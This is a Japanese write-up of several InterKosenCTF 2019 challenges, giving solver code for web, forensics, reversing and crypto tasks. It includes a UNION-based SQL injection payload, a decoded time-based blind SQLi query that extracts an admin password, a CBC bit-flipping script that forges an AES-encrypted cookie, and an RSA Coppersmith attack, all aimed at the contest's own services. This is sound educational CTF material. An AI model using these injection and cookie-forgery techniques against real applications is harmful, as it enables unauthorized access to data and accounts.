InterKosenCTF Write-up
はじめに
2019/08/11 ~ 2019/08/12に開催されたInterKosenCTFに個人で参加しました.
【開催予告】
— gǔ yuè (@theoldmoon0602) 2019年7月25日
チームinsecureは
#InterKosenCTF を2019-08-11 10:00〜2019-08-12 22:00(JST)に開催します
- 前回よりも大幅に簡単になっています
- 誰でも参加できます
- 商品・賞金はありません
スコアサーバや参加登録については続報をお待ちください
次回 #InterKosenCTF は初心者~中級者向けになります.強い人は個人参加でも全完できるかもです.
— ptr-yudai (@ptrYudai) 2019年7月25日
前回よりも高難易度の #WinterKosenCTF を来年1月頃に開催予定ですのでそちらもお楽しみに😎
成績
チーム単位だと18位(91チーム中)でした.
個人だと9位だったみたいです .
Welcome
Welcome [warmup, 200pts, 77solved]
Join in our slack and get the flag!
アプローチ:Slackにjoinする
KosenCTF{g3t_r34dy_f0r_InterKosenCTF_2019}
Web
uploader [warmup, 227pts, 34solved]
UPLOADER
アプローチ:searchでSQLi
Webサイトの特徴をまとめると以下のようになります.
- ファイルアップロード機能を有する
- ファイルアップロード時にはダウンロード用パスワードの入力が必須
- キーワードによるアップロード済みファイルの検索機能を有する
- 既に
secret_file
がアップロード済み
これらの特徴からsecret_file
のダウンロードパスワードを入手すればflag
を獲得できると考えられます.
次に検索関連の処理を行っているコードを見てみます.
$files = []; // search if (isset($_GET['search'])) { $rows = $db->query("SELECT name FROM files WHERE instr(name, '{$_GET['search']}') ORDER BY id DESC"); foreach ($rows as $row) { $files []= $row[0]; } }
instr(name, '{$_GET['search']}')
でSQLi
できそうですね.
') UNION SELECT passcode FROM files --
を検索キーワードとして入力することで以下のようなクエリが生成されます.
SELECT name FROM files WHERE instr(name, '') UNION SELECT passcode FROM files -- ORDER BY id DESC
このクエリでファイル名と共にダウンロードパスワードを表示させます.
the_longer_the_stronger_than_more_complicated
が secret_file
のダウンロードパスワードのようです.
secret_file
を開くとflag
が書かれていました.
KosenCTF{y0u_sh0u1d_us3_th3_p1ac3h01d3r}
Forensics
Hugtto! [easy, 238pts, 32solved]
Wow! It's random!
steg.py
from PIL import Image from secret import flag from datetime import datetime import tarfile import sys import random random.seed(int(datetime.now().timestamp())) bin_flag = [] for c in flag: for i in range(8): bin_flag.append((ord(c) >> i) & 1) img = Image.open("./emiru.png") new_img = Image.new("RGB", img.size) w, h = img.size i = 0 for x in range(w): for y in range(h): r, g, b = img.getpixel((x, y)) rnd = random.randint(0, 2) if rnd == 0: r = (r & 0xFE) | bin_flag[i % len(bin_flag)] new_img.putpixel((x, y), (r, g, b)) elif rnd == 1: g = (g & 0xFE) | bin_flag[i % len(bin_flag)] new_img.putpixel((x, y), (r, g, b)) elif rnd == 2: b = (b & 0xFE) | bin_flag[i % len(bin_flag)] new_img.putpixel((x, y), (r, g, b)) i += 1 new_img.save("./steg_emiru.png") with tarfile.open("stegano.tar.gz", "w:gz") as tar: tar.add("./steg_emiru.png") tar.add(sys.argv[0])
steg_emiru.png
> file steg_emiru.png steg_emiru.png: PNG image data, 766 x 1021, 8-bit/color RGB, non-interlaced
アプローチ:seed + exif
steg.py
ではflag
を1bitずつemiry.png
に埋め込む処理を行っており,この際,乱数によって埋め込み先を決定しています(R
, G
, B
のいずれかの最下位ビット)
そのため,全探索でflag
を得るにはpow(3, len(flag))
回の試行が必要になり,現実的な時間での探索は難しいと考えられます(そもそもflag長が分からないので無理).
そこで,全探索は諦めて乱数生成のシードに注目します.
コードを確認するとシード値としてint(datetime.now().timestamp())
が与えられていることが分かります.
シード値を得ることができれば生成される乱数を再現することができるので関連ファイルのexif情報を確認してみます.
> exiftool steg_emiru.png ExifTool Version Number : 11.29 File Name : steg_emiru.png Directory : . File Size : 1315 kB File Modification Date/Time : 2019:08:06 11:44:18+09:00 File Access Date/Time : 2019:08:13 18:40:48+09:00 File Inode Change Date/Time : 2019:08:11 17:32:37+09:00 File Permissions : rw-r--r-- File Type : PNG File Type Extension : png MIME Type : image/png Image Width : 766 Image Height : 1021 Bit Depth : 8 Color Type : RGB Compression : Deflate/Inflate Filter : Adaptive Interlace : Noninterlaced Image Size : 766x1021 Megapixels : 0.782
2019:08:06 11:44:18+09:00
にファイルが編集されたことが確認できます.つまり,2019:08:06 11:44:18+09:00
周辺のDate/Time
のtimestamp()
によって乱数生成を再現できます.
ソルバは以下のようになります.
from PIL import Image from datetime import datetime import random from Crypto.Util.number import * # datetime(2019, 8, 6, 11, 44, 18) random.seed(int(datetime(2019, 8, 6, 11, 44, 15).timestamp())) img = Image.open("./steg_emiru.png") new_img = Image.new("RGB", img.size) w, h = img.size msg = '' for x in range(w): for y in range(h): r, g, b = img.getpixel((x, y)) rnd = random.randint(0, 2) if rnd == 0: msg += str(r & 0x1) elif rnd == 1: msg += str(g & 0x1) elif rnd == 2: msg += str(b & 0x1) flag = long_to_bytes(int(msg[::-1],2)).decode('utf-8') print(flag[::-1][:68])
> python solve.py KosenCTF{Her_name_is_EMIRU_AISAKI_who_is_appeared_in_Hugtto!PreCure}
KosenCTF{Her_name_is_EMIRU_AISAKI_who_is_appeared_in_Hugtto!PreCure}
Temple of Time [medium, 285pts, 25solved]
We released our voting system and it's under attack. Can you investigate if the admin credential is stolen?
40142c592afd88a78682234e2d5cada9.pcapng
> file 40142c592afd88a78682234e2d5cada9.pcapng 40142c592afd88a78682234e2d5cada9.pcapng: pcap-ng capture file - version 1.0
アプローチ:Blind SQLiのログをいい感じに処理する
pcapng
なのでWireShark
で開きます.
怪しいリクエストが流れてますね.
GETリクエストをデコードすると以下のようになります.
GET /index.php?portal='OR(SELECT(IF(ORD(SUBSTR((SELECT password FROM Users WHERE username='admin'),1,1))=48,SLEEP(1),'')))
Time-Based Blind SQLi
ですね.
1つずつリクエストを見ていけばflag
を復元できると思いますが,面倒くさいのでPythonにやらせます.
> strings 40142c592afd88a78682234e2d5cada9.pcapng | grep GET > grep_get.txt > head -n 3 grep_get.txt x<nGET /index.php?portal=%27OR%28SELECT%28IF%28ORD%28SUBSTR%28%28SELECT+password+FROM+Users+WHERE+username%3D%27admin%27%29%2C1%2C1%29%29%3D48%2CSLEEP%281%29%2C%27%27%29%29%29%23 HTTP/1.1 GET /index.php?portal=%27OR%28SELECT%28IF%28ORD%28SUBSTR%28%28SELECT+password+FROM+Users+WHERE+username%3D%27admin%27%29%2C1%2C1%29%29%3D49%2CSLEEP%281%29%2C%27%27%29%29%29%23 HTTP/1.1 GET /index.php?portal=%27OR%28SELECT%28IF%28ORD%28SUBSTR%28%28SELECT+password+FROM+Users+WHERE+username%3D%27admin%27%29%2C1%2C1%29%29%3D50%2CSLEEP%281%29%2C%27%27%29%29%29%23 HTTP/1.1
import urllib.parse # EXAMPLE # GET /index.php?portal='OR(SELECT(IF(ORD(SUBSTR((SELECT+password+FROM+Users+WHERE+username='admin'),37,1))=126,SLEEP(1),'')))# HTTP/1.1 # ASCII # lines[i].split('=')[3].split(',')[0] # 126 # COUNT # lines[i].split('=')[2].split(',')[1] # 37 with open('grep_get.txt') as f: lines = [urllib.parse.unquote(line.strip()) for line in f.readlines()] attack_query = [] flag = '' for line in lines: if len(line.split('=')) == 4: count = line.split('=')[2].split(',')[1] ascii = line.split('=')[3].split(',')[0] attack_query.append([count,ascii]) prev_query = attack_query[0] for current_query in attack_query: if prev_query[0] != current_query[0]: flag += chr(int(prev_query[1],10)) prev_query = current_query print(flag)
countが増えたら攻撃が成功したということなのでcountが増える直前のクエリのasciiを集めています.
> python solve.py KosenCTF{t1m3_b4s3d_4tt4ck_v31ls_1t}
KosenCTF{t1m3_b4s3d_4tt4ck_v31ls_1t}
Reversing
basic crackme [easy, 227pts, 34solved]
Crackme is a challenge to get the input which satisfies the constraints.
> file crackme crackme: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l, BuildID[sha1]=3dca344245681e2c75d9588284830d858770c1e0, for GNU/Linux 3.2.0, not stripped
> ./crackme <usage> ./crackme: <flag>
> ./crackme CawaYui Try harder!
アプローチ:Ghidraでデコンパイル
main関数をGhidraでデコンパイルすると以下のようになります.
undefined8 main(int iParm1,undefined8 *puParm2) { size_t sVar1; long in_FS_OFFSET; uint local_d0; int local_cc; int local_c8 [4]; undefined4 local_b8; undefined4 local_b4; undefined4 local_b0; undefined4 local_ac; undefined4 local_a8; undefined4 local_a4; undefined4 local_a0; undefined4 local_9c; undefined4 local_98; undefined4 local_94; undefined4 local_90; undefined4 local_8c; undefined4 local_88; undefined4 local_84; undefined4 local_80; undefined4 local_7c; undefined4 local_78; undefined4 local_74; undefined4 local_70; undefined4 local_6c; undefined4 local_68; undefined4 local_64; undefined4 local_60; undefined4 local_5c; undefined4 local_58; undefined4 local_54; undefined4 local_50; undefined4 local_4c; undefined4 local_48; undefined4 local_44; undefined4 local_40; undefined4 local_3c; undefined4 local_38; undefined4 local_34; undefined4 local_30; long local_20; local_20 = *(long *)(in_FS_OFFSET + 0x28); if (iParm1 < 2) { printf("<usage> %s: <flag>\n",*puParm2); } else { local_c8[0] = 0xb4; local_c8[1] = 0xf7; local_c8[2] = 0x39; local_c8[3] = 0x59; local_b8 = 0xea; local_b4 = 0x39; local_b0 = 0x4b; local_ac = 0x6b; local_a8 = 0xbf; local_a4 = 0x80; local_a0 = 0x3d; local_9c = 0xd1; local_98 = 0x42; local_94 = 0x10; local_90 = 0xe4; local_8c = 0x42; local_88 = 0x105; local_84 = 0x58; local_80 = 0x15; local_7c = 0x108; local_78 = 0xab; local_74 = 0x18; local_70 = 0xe8; local_6c = 0xcd; local_68 = 0x1b; local_64 = 0xeb; local_60 = 0x51; local_5c = 0x1e; local_58 = 0x111; local_54 = 0x44; local_50 = 0x51; local_4c = 0x86; local_48 = 0x53; local_44 = 0x48; local_40 = 0x59; local_3c = 0x36; local_38 = 0x10a; local_34 = 0x9b; local_30 = 0xfd; local_d0 = 0; local_cc = 0; while (sVar1 = strlen((char *)puParm2[1]), (ulong)(long)local_cc < sVar1) { local_d0 = local_d0 | ((((int)*(char *)((long)local_cc + puParm2[1]) & 0xfU) << 4 | (int)(*(char *)((long)local_cc + puParm2[1]) >> 4)) + local_cc) - local_c8[(long)local_cc]; local_cc = local_cc + 1; } if (local_d0 == 0) { puts("Yes. This is the your flag :)"); } else { printf("Try harder!"); } } if (local_20 == *(long *)(in_FS_OFFSET + 0x28)) { return 0; } /* WARNING: Subroutine does not return */ __stack_chk_fail(); }
ざっくりまとめると
((((int)*(char *)((long)local_cc + puParm2[1]) & 0xfU) << 4 | (int)(*(char *)((long)local_cc + puParm2[1]) >> 4)) + local_cc) - local_c8[(long)local_cc];
が0になれば条件を満たすようです.
そのため,条件を満たす文字列を全探索することでflag
を得ることができます.
ソルバは以下のようになります.
import string xs = [0xb4,0xf7,0x39,0x59,0xea,0x39,0x4b,0x6b,0xbf,0x80,0x3d,0xd1,0x42,0x10,0xe4,0x42,0x105,0x58,0x15,0x108,0xab,0x18,0xe8,0xcd,0x1b,0xeb,0x51,0x1e,0x111,0x44,0x51,0x86,0x53,0x48,0x59,0x36,0x10a,0x9b,0xfd] flag = '' for i,x in enumerate(xs): for s in string.ascii_letters + string.digits + '_-!?#{}': check = (((ord(s) & 0xf) << 4) | (ord(s) >> 4)) + i - x if check == 0: flag += s break print(flag)
> python solve.py KosenCTF{w3lc0m3_t0_y0-k0-s0_r3v3rs1ng}
KosenCTF{w3lc0m3_t0_y0-k0-s0_r3v3rs1ng}
magic function[easy, 263pts, 28solved]
Rumor has it that three simple functions may generate the flag.
> file chall chall: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l, for GNU/Linux 3.2.0, BuildID[sha1]=7f3589666f4eca86aca6d787459c5ae93987bb59, not stripped
> ./chall CawaYui NG
アプローチ:Ghidraでデコンパイル
main関数をGhidraでデコンパイルすると以下のようになります.
undefined8 main(int iParm1,long lParm2) { char cVar1; char cVar2; char *local_28; int local_1c; if (1 < iParm1) { local_1c = 0; local_28 = *(char **)(lParm2 + 8); while (*local_28 != 0) { if (local_1c < 8) { cVar1 = *local_28; cVar2 = f1(); if (cVar1 != cVar2) goto LAB_0040087d; } else { if (local_1c < 0x10) { cVar1 = *local_28; cVar2 = f2(); if (cVar1 != cVar2) goto LAB_0040087d; } else { cVar1 = *local_28; cVar2 = f3((ulong)(local_1c - 0x10)); if (cVar1 != cVar2) goto LAB_0040087d; } } local_28 = local_28 + 1; local_1c = local_1c + 1; } if (local_1c == 0x18) { puts("OK"); return 0; } } LAB_0040087d: puts("NG"); return 1; }
次にf1()
を見ていきます.
undefined8 f1(uint uParm1) { undefined4 extraout_var; double __x; undefined8 local_48; undefined8 local_40; undefined8 local_38; undefined8 local_30; undefined8 local_28; undefined8 local_20; undefined8 local_18; undefined8 local_10; local_48 = 0x4052c00000000000; local_40 = 0xc06af763f572de44; local_38 = 0x40834ab05af6c69b; local_30 = 0xc0814416c15d2d02; local_28 = 0x406cf98e38a7e73a; local_20 = 0xc0490416c10ca52a; local_18 = 0x4015760b60dc38d1; local_10 = 0xbfcced4ed3decb0d; __x = (double)f((ulong)uParm1,&local_48,&local_48); __x = round(__x); return CONCAT44(extraout_var,(int)__x); }
f1()
内のlocal_48
- local_10
は浮動小数点数の内部表現だと考えられます.
次にf()
の処理を確認します.
undefined [16] f(int iParm1,long lParm2) { double dVar1; double dVar2; double local_18; int local_c; local_18 = 0.00000000; local_c = 0; while (local_c < 8) { dVar1 = *(double *)(lParm2 + (long)local_c * 8); dVar2 = pow((double)iParm1,(double)local_c); local_18 = dVar2 * dVar1 + local_18; local_c = local_c + 1; } return ZEXT816((ulong)local_18); }
どうやらf()
はASCIIを返しているようです.
また,f2()
, f3()
も同様の処理を行っているのでソルバを書いて出力結果を確認してみます.
from Crypto.Util.number import * import binascii import struct def f(p1, p2): ret = 0 count = 0 while count < 8: v1 = struct.unpack('>d', binascii.unhexlify(hex(p2[count])[2:]))[0] v2 = pow(p1, count) ret += v1 * v2 count += 1 return ret def f1(p1): magic = [0x4052c00000000000,0xc06af763f572de44,0x40834ab05af6c69b,0xc0814416c15d2d02,0x406cf98e38a7e73a,0xc0490416c10ca52a,0x4015760b60dc38d1,0xbfcced4ed3decb0d] x = f(p1,magic) return chr(round(x)) def f2(p1): magic = [0x405ec00000000000,0xc086c40000000000,0x40988d360bf5d788,0xc093cb182d38476f,0x407ed11c714fce74,0xc058f471c6ecb8fb,0x4024416c17804f46,0xbfda0b60b59135b7] x = f(p1,magic) return chr(round(x)) def f3(p1): magic = [0x405c000000000000,0xc081178af89c5e70,0x408e8cddddb1209f,0xc0867196c15d2d02,0x40712d5554fbdad7,0xc04c8d27d2ace09e,0x40183bbbbb827794,0xbfd05e45e4187677] x = f(p1,magic) return chr(round(x)) print(''.join(list(map(f1,range(8))))) print(''.join(list(map(f2,range(8))))) print(''.join(list(map(f3,range(8)))))
> python solve.py KosenCTF {fl4ggy_ p0lyn0m}
KosenCTF{fl4ggy_p0lyn0m}
favorites[hard, 357pts, 18solved]
What is your favorite? My favorite is ...
file favorites favorites: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l, BuildID[sha1]=04682a5ac5fd6fb11c8f04408891974576f47ce1, for GNU/Linux 3.2.0, not stripped
./favorites Do you know --- the FLAG of this challenge? --- my favorite anime? --- my favorite character? Input your guess: CawaYui No! You are not interested in me, are you?
Ghidraでデコンパイル
flag
よりも好きなアニメとキャラクターが気になりますね.
ltrace
でライブラリ関数の呼び出しをトレースしてみます.
> ltrace -s 100 ./favorites puts("Do you know"Do you know ) = 12 puts(" --- the FLAG of this challenge?" --- the FLAG of this challenge? ) = 33 puts(" --- my favorite anime?" --- my favorite anime? ) = 24 puts(" --- my favorite character?" --- my favorite character? ) = 28 putchar(10, 0x56435dfff260, 0x7fd756e058c0, 0x7fd756b28154 ) = 10 printf("Input your guess: ") = 18 __isoc99_scanf(0x56435c904138, 0x7fffddea1531, 0, 0Input your guess: CawaYui ) = 1 sprintf("62c5", "%04x", 0x62c5) = 4 sprintf("7af7", "%04x", 0x7af7) = 4 sprintf("d8a8", "%04x", 0xd8a8) = 4 sprintf("07d7", "%04x", 0x7d7) = 4 sprintf("0d26", "%04x", 0xd26) = 4 sprintf("b2f8", "%04x", 0xb2f8) = 4 sprintf("a407", "%04x", 0xa407) = 4 sprintf("3a81", "%04x", 0x3a81) = 4 sprintf("bb1c", "%04x", 0xbb1c) = 4 sprintf("7a6f", "%04x", 0x7a6f) = 4 sprintf("5136", "%04x", 0x5136) = 4 sprintf("763e", "%04x", 0x763e) = 4 sprintf("84c8", "%04x", 0x84c8) = 4 sprintf("c421", "%04x", 0xc421) = 4 strcmp("62c57af7d8a807d70d26b2f8a4073a81bb1c7a6f5136763e84c8c421", "62d57b27c5d411c45d67a3565f84bd67ad049a64efa694d624340178") = -1 strcmp("62c57af7d8a807d70d26b2f8a4073a81bb1c7a6f5136763e84c8c421", "62b64d65828570c33b25e1e54065524571a54d7583556d76b1767c759036") = 1 strcmp("62c57af7d8a807d70d26b2f8a4073a81bb1c7a6f5136763e84c8c421", "62c64af7db4839d7eeb3d5363e85bb35e826ec56abd5e7d523956bb5") = -1 puts("No! You are not interested in me, are you?"No! You are not interested in me, are you? ) = 43 +++ exited (status 0) +++
入力文字列に対して何らかの変換処理を行い,flag
, anime
, character
の変換結果と比較しています.
次に変換処理の内容を知るためにmain関数をGhidraでデコンパイルします.
undefined8 main(void) { int iVar1; long in_FS_OFFSET; ushort local_92; uint local_90; int local_8c; ushort auStack136 [16]; byte local_67 [14]; undefined local_59; undefined8 local_58; undefined8 local_50; undefined8 local_48; undefined8 local_40; undefined8 local_38; undefined8 local_30; undefined8 local_28; undefined local_20; long local_10; local_10 = *(long *)(in_FS_OFFSET + 0x28); local_92 = 0x1234; puts("Do you know"); puts(" --- the FLAG of this challenge?"); puts(" --- my favorite anime?"); puts(" --- my favorite character?"); putchar(10); printf("Input your guess: "); __isoc99_scanf(&DAT_00102138,local_67); local_59 = 0; local_90 = 0; while ((int)local_90 < 0xe) { local_92 = f((ulong)local_67[(long)(int)local_90],(ulong)local_90,(ulong)local_92, (ulong)local_90); auStack136[(long)(int)local_90] = local_92; local_90 = local_90 + 1; } local_58 = 0; local_50 = 0; local_48 = 0; local_40 = 0; local_38 = 0; local_30 = 0; local_28 = 0; local_20 = 0; local_8c = 0; while (local_8c < 0xe) { sprintf((char *)((long)&local_58 + (long)(local_8c << 2)),"%04x", (ulong)auStack136[(long)local_8c]); local_8c = local_8c + 1; } iVar1 = strcmp((char *)&local_58,first); if (iVar1 == 0) { printf("Congrats! The flag is KosenCTF{%s}!\n",local_67); } else { iVar1 = strcmp((char *)&local_58,second); if (iVar1 == 0) { puts("Wow! Let\'s see it together now!"); } else { iVar1 = strcmp((char *)&local_58,third); if (iVar1 == 0) { puts("Yes! Do you like too this?"); } else { puts("No! You are not interested in me, are you?"); } } } if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) { /* WARNING: Subroutine does not return */ __stack_chk_fail(); } return 0; }
main関数では変換処理を行っているf()
に文字,index, stateを引数として渡しています.
ulong f(byte bParm1,uint uParm2,ushort uParm3) { return (ulong)(ushort)(((ushort)(bParm1 >> 4) | (ushort)(((ulong)bParm1 & 0xf) << 4)) + 1 ^ ((ushort)(uParm2 >> 4) | (ushort)(~uParm2 << 4)) & 0xff | (uParm3 >> 4) << 8 ^ (ushort)(((uint)(uParm3 >> 0xc) | (uint)uParm3 << 4) << 8)); }
変換処理の内容が分かったのでflag
を全探索します.
以下がソルバです.
#include <stdio.h> int f(char bParm1, unsigned int uParm2, unsigned short uParm3) { return (long)(unsigned short)(((unsigned short)(bParm1 >> 4) | (unsigned short)(((long)bParm1 & 0xf) << 4)) + 1 ^ ((unsigned short)(uParm2 >> 4) | (unsigned short)(~uParm2 << 4)) & 0xff | (uParm3 >> 4) << 8 ^ (unsigned short)(((unsigned int)(uParm3 >> 0xc) | (unsigned int)uParm3 << 4) << 8)); } int main() { int count = 0; int state = 0x1234, temp_state; int i; //flag int flag[14] = {0x62d5,0x7b27,0xc5d4,0x11c4,0x5d67,0xa356,0x5f84,0xbd67,0xad04,0x9a64,0xefa6,0x94d6,0x2434,0x0178}; // anime // int flag[15] = {0x62b6,0x4d65,0x8285,0x70c3,0x3b25,0xe1e5,0x4065,0x5245,0x71a5,0x4d75,0x8355,0x6d76,0xb176,0x7c75,0x9036}; // character // int flag[14] = {0x62c6,0x4af7,0xdb48,0x39d7,0xeeb3,0xd536,0x3e85,0xbb35,0xe826,0xec56,0xabd5,0xe7d5,0x2395,0x6bb5}; while (count < 0xe) { for (i = 32; i < 128; i++) { temp_state = f(i, count, state); if (temp_state == flag[count]) { printf("%c", i); count++; state = temp_state; } } } return 0; }
> ./solve Bl00m_1n70_Y0u
> ./favorites Do you know --- the FLAG of this challenge? --- my favorite anime? --- my favorite character? Input your guess: Bl00m_1n70_Y0u Congrats! The flag is KosenCTF{Bl00m_1n70_Y0u}!
KosenCTF{Bl00m_1n70_Y0u}
「やがて君になる」,まだ見ていないので今度見てみます.
因みにanimeはTHE IDOLMA@STER
, characterはSaya YAKUSHIJI
でした.
自分は620646760388b857fe468b25ea07dea86767005885472c38412766d6
と624572331425132563d30b3833c8bf187a282558d7d700d77d87afb7
が好きです.
Crypto
Kurukuru Shuffle [easy, 200pts, 53solved]
Please! My...
shuffle.py
from secret import flag from random import randrange def is_prime(N): if N % 2 == 0: return False i = 3 while i * i < N: if N % i == 0: return False i += 2 return True L = len(flag) assert is_prime(L) encrypted = list(flag) k = randrange(1, L) while True: a = randrange(0, L) b = randrange(0, L) if a != b: break i = k for _ in range(L): s = (i + a) % L t = (i + b) % L encrypted[s], encrypted[t] = encrypted[t], encrypted[s] i = (i + k) % L encrypted = "".join(encrypted) print(encrypted)
encrypted
1m__s4sk_s3np41m1r_836lly_cut3_34799u14}1osenCTF{5sKm
アプローチ:全探索
shuffle.py
では3つのパラメータk
, a
, b
を決定してswap
処理を行っています.
3つのパラメータの組み合わせは多く見積もっても533なので全探索が可能です.
以下がソルバになります.
enc = '1m__s4sk_s3np41m1r_836lly_cut3_34799u14}1osenCTF{5sKm' for k in range(1,53): for a in range(53): for b in range(53): if a == b: continue encrypted = list(enc) i = k for _ in range(53): s = (i - a) % 53 t = (i - b) % 53 encrypted[s], encrypted[t] = encrypted[t], encrypted[s] i = (i - k) % 53 encrypted = "".join(encrypted) if encrypted[:9] == 'KosenCTF{' and encrypted[-1] == '}': print(encrypted) print(k,a,b)
> python solve.py KosenCTF{5s4m1m1_m4rk_s3np41_1s_s38l9y_cut3_34769l1u} 17 2 15 KosenCTF{5s4m1m1_m4rk_s3np41_1s_s38l9y_cut3_34769l1u} 17 15 2 KosenCTF{us4m1m1_m4sk_s3np41_1s_r34lly_cut3_38769915} 17 21 34 KosenCTF{us4m1m1_m4sk_s3np41_1s_r34lly_cut3_38769915} 17 34 21 KosenCTF{5s4m1m1_m4sk_s3np41_1s_r34l9y_cut3_38769l1u} 17 38 51 KosenCTF{5s4m1m1_m4sk_s3np41_1s_r34l9y_cut3_38769l1u} 17 51 38
目grepするとKosenCTF{us4m1m1_m4sk_s3np41_1s_r34lly_cut3_38769915}
がそれっぽいことが分かります.
KosenCTF{us4m1m1_m4sk_s3np41_1s_r34lly_cut3_38769915}
Flag Ticket [medium, 400pts, 15solved]
My ticket number for getting the flag is 765876346283. Please check if I can get the flag here.
アプローチ:Cookieの改ざん
チケットナンバーを入力してもNot available. I'm sorry.と言われます.
そこで,コードを確認してみます.
<!DOCTYPE html> <html> <head> <meta charset="utf-8"> <title>Flag Ticket</title> <link rel="stylesheet" href="{{ api.static_url('style.css') }}"> </head> <body> <div id="app"> <h1>Your ticket:</h1> <div> <div style="display: inline-block; width: 100px;">Number: </div> <div style="display: inline-block;">{{ data.number }}</div> </div> <div> <div style="display: inline-block; width: 100px;">Flag: </div> {% if data.is_hit %} <div style="display: inline-block; width: 100px;">{{ flag }}</div> {% else %} <div style="display: inline-block;">Not available. I'm sorry.</div> {% endif %} </div> <p><a href="/exit">exit</a></p> </div> </body> </html>
@api.route("/check") class Check: def on_get(self, req, resp): resp.html = api.template("check.html") async def on_post(self, req, resp): form = await req.media("form") number = form.get("number", None) try: _ = int(number) except ValueError: resp.text = "ERROR: please input your ticket number" return data = json.dumps({"is_hit": False, "number": number}).encode() data = Padding.pad(data, AES.block_size) iv = Random.get_random_bytes(AES.block_size) aes = AES.new(key, AES.MODE_CBC, iv) resp.cookies["result"] = hexlify(iv + aes.encrypt(data)).decode() api.redirect(resp, api.url_for(result))
is_hit
がtrue
になるようにCookieを書き換えてあげればいいことが分かります.
CookieはCBCモードを利用したAESで暗号化されているので改ざんは比較的簡単に行なえます.
from Crypto.Util import Padding from Crypto.Cipher import AES from Crypto import Random from binascii import hexlify, unhexlify import json # sample_json = '{"is_hit": false, "number": 765876346283}' # attack_json = '{"is_hit": true, "number": 765876346283}' result = 'cef97abbed1b1aea90e9a7826d16e63106617ab01c078b2afa6898f1f0661894f30f6f309f6833dd8e167c66facd6c739f3f219899b4225fe9f1ee729b08daf9' offset = 11 ba = bytearray(unhexlify(result)) ba[offset] = ba[offset] ^ ord('f') ^ ord(' ') ba[offset + 1] = ba[offset + 1] ^ ord('a') ^ ord('t') ba[offset + 2] = ba[offset + 2] ^ ord('l') ^ ord('r') ba[offset + 3] = ba[offset + 3] ^ ord('s') ^ ord('u') # ba[offset + 4] = ba[offset + 4] ^ ord('e') ^ ord('e') print(hexlify(ba))
> python solve.py b'cef97abbed1b1aea90e9a7c47808e03106617ab01c078b2afa6898f1f0661894f30f6f309f6833dd8e167c66facd6c739f3f219899b4225fe9f1ee729b08daf9'
あとはCookieをセットしてページをリロードすればflag
を取得できます.
KosenCTF{padding_orca1e_is_common_sense}
E_S_P [hard, 526pts, 9solved]
ESP stands for Erai-Sugoi-Power.
esp.py
from Crypto.Util.number import * from secret import flag, yukko import re assert re.match(r"^KosenCTF{.+}$", flag) Nbits = 1024 p = getPrime(Nbits) q = getPrime(Nbits) n = p * q e = 5 c = pow(bytes_to_long((yukko + flag).encode()), e, n) print("N = {}".format(n)) print("e = {}".format(e)) print("Wow Yukko the ESPer helps you!") print(yukko + "the length of the flag = {}".format(len(flag))) print("c = {}".format(c))
out.txt
N = 11854673881335985163635072085250462726008700043680492953159905880499045049107244300920837378010293967634187346804588819510452454716310449345364124188546434429828696164683059829613371961906369413632824692460386596396440796094037982036847106649198539914928384344336740248673132551761630930934635177708846275801812766262866211038764067901005598991645254669383536667044207899696798812651232711727007656913524974796752223388636251060509176811628992340395409667867485276506854748446486284884567941298744325375140225629065871881284670017042580911891049944582878712176067643299536863795670582466013430445062571854275812914317 e = 5 Wow Yukko the ESPer helps you! Yukko the ESPer: My amazing ESP can help you to get the flag! -----> the length of the flag = 39 c = 4463634440284027456262787412050107955746015405738173339169842084094411947848024686618605435207920428398544523395749856128886621999609050969517923590260498735658605434612437570340238503179473934990935761387562516430309061482070214173153260521746487974982738771243619694317033056927553253615957773428298050465636465111581387005937843088303377810901324355859871291148445415087062981636966504953157489531400811741347386262410364012023870718810153108997879632008454853198551879739602978644245278315624539189505388294856981934616914835545783613517326663771942178964492093094767168721842335827464550361019195804098479315147
アプローチ:Coppersmith's Attack (Stereotyped Messages)
超能力アイドルが平文の上位bitと文字列長を教えてくれました.
そのため,Coppersmith's Attack (Stereotyped Messages)が使えます.
# partial_msg.sage def long_to_bytes(data): data = str(hex(long(data)))[2:-1] return "".join([chr(int(data[i:i + 2], 16)) for i in range(0, len(data), 2)]) def bytes_to_long(data): return int(data.encode('hex'), 16) N = 11854673881335985163635072085250462726008700043680492953159905880499045049107244300920837378010293967634187346804588819510452454716310449345364124188546434429828696164683059829613371961906369413632824692460386596396440796094037982036847106649198539914928384344336740248673132551761630930934635177708846275801812766262866211038764067901005598991645254669383536667044207899696798812651232711727007656913524974796752223388636251060509176811628992340395409667867485276506854748446486284884567941298744325375140225629065871881284670017042580911891049944582878712176067643299536863795670582466013430445062571854275812914317 e = 5 c = 4463634440284027456262787412050107955746015405738173339169842084094411947848024686618605435207920428398544523395749856128886621999609050969517923590260498735658605434612437570340238503179473934990935761387562516430309061482070214173153260521746487974982738771243619694317033056927553253615957773428298050465636465111581387005937843088303377810901324355859871291148445415087062981636966504953157489531400811741347386262410364012023870718810153108997879632008454853198551879739602978644245278315624539189505388294856981934616914835545783613517326663771942178964492093094767168721842335827464550361019195804098479315147 m = bytes_to_long("Yukko the ESPer: My amazing ESP can help you to get the flag! -----> KosenCTF{\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00") P.<x> = PolynomialRing(Zmod(N), implementation='NTL') f = (m + x)^e - c roots = f.small_roots(epsilon=1/30) print(long_to_bytes(m+roots[0]))
> sage partial_msg.sage Yukko the ESPer: My amazing ESP can help you to get the flag! -----> KosenCTF{H0R1_Yukk0_1s_th3_ESP3r_QUEEN}
KosenCTF{H0R1_Yukk0_1s_th3_ESP3r_QUEEN}
このもんだいすき
pascal homomorphicity [hard, 333pts, 20solved]
nc pwn.kosenctf.com 8002
service.py
